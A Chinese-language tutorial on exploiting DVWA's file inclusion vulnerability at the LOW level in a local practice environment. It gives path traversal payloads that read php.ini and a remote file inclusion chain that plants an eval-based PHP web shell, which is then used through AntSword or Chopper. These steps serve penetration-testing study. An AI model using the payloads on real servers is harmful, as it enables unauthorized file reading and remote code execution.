文章目录


原理以及介绍

在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
文件包含漏洞的形成,需要满足两个条件:
include()等函数通过动态变量的方式引入需要包含的文件
用户能够控制这个动态变量

  • 在文件包含漏洞中,进行文件包含时​​PHP​​​ 伪协议的掌握是必不可少的
    这里不一一说明

以下是文件包含函数:

include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()

其中前四个函数是文件漏洞高危函数

一、文件包含

本地文件包含(LFI)

  • 能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

远程文件包含(RFI)

  • 如果php.ini的配置选项allow_url_include为ON的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行任意命令。
二、环境配置

在PHPstudy配置文件中,将​​allow_url_include​​ 的状态打开:​​Of​​修改为​​On​DVWA-文件包含漏洞_安全

DVWA-文件包含漏洞_php_02

这里可以看到的我已经修改后的

三、LOW级别

查看源码

DVWA-文件包含漏洞_php_03

通过源码看到,直接对传入的page参数进行了包含,未作任何过滤

本地文件包含

对于所呈现的三个路径,这又是为什么:DVWA-文件包含漏洞_本地文件_04

点击file1.phpDVWA-文件包含漏洞_本地文件_05

构造url:

​http://localhost/DVWA-master/vulnerabilities/fi/?page=cxz.php​

把file1.php改成cxz.php,报错出路径(本地靶场)DVWA-文件包含漏洞_文件包含_06

构造url(绝对路径):成功读取服务器的php.ini文件

?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini

DVWA-文件包含漏洞_本地文件_07

构造url(相对路径):加这么多…\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。

?page=..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini`

DVWA-文件包含漏洞_服务器_08

读取​​phpinfo.php​

DVWA-文件包含漏洞_服务器_09

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行

  1. 查看本机IP
    DVWA-文件包含漏洞_文件包含_10
  2. 在WWW下创建一个内容为​​<?php phpinfo() ; ?>​​的txt文件
    DVWA-文件包含漏洞_文件包含_11
  3. 在浏览器中输入IP和创建的文件
    DVWA-文件包含漏洞_文件包含_12
  4. 复制URL,粘贴到DVWA下的​​Page=​​后执行
    DVWA-文件包含漏洞_服务器_13
  5. 将txt内容改为​​<?php $file = fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[xxx]);?>')?>​​,然后刷新页面
    DVWA-文件包含漏洞_服务器_14
  6. 在fi后加入a.php?xxx=phpinfo();可以正常显示
    DVWA-文件包含漏洞_本地文件_15
  7. 复制地址​​http://localhost/DVWA-master/vulnerabilities/fi/a.php​DVWA-文件包含漏洞_php_16
  8. 使用蚁剑或者菜刀添加地址,输入设置的密码:xxx进行连接
    DVWA-文件包含漏洞_php_17
  9. 添加成功后成功进入
    DVWA-文件包含漏洞_php_18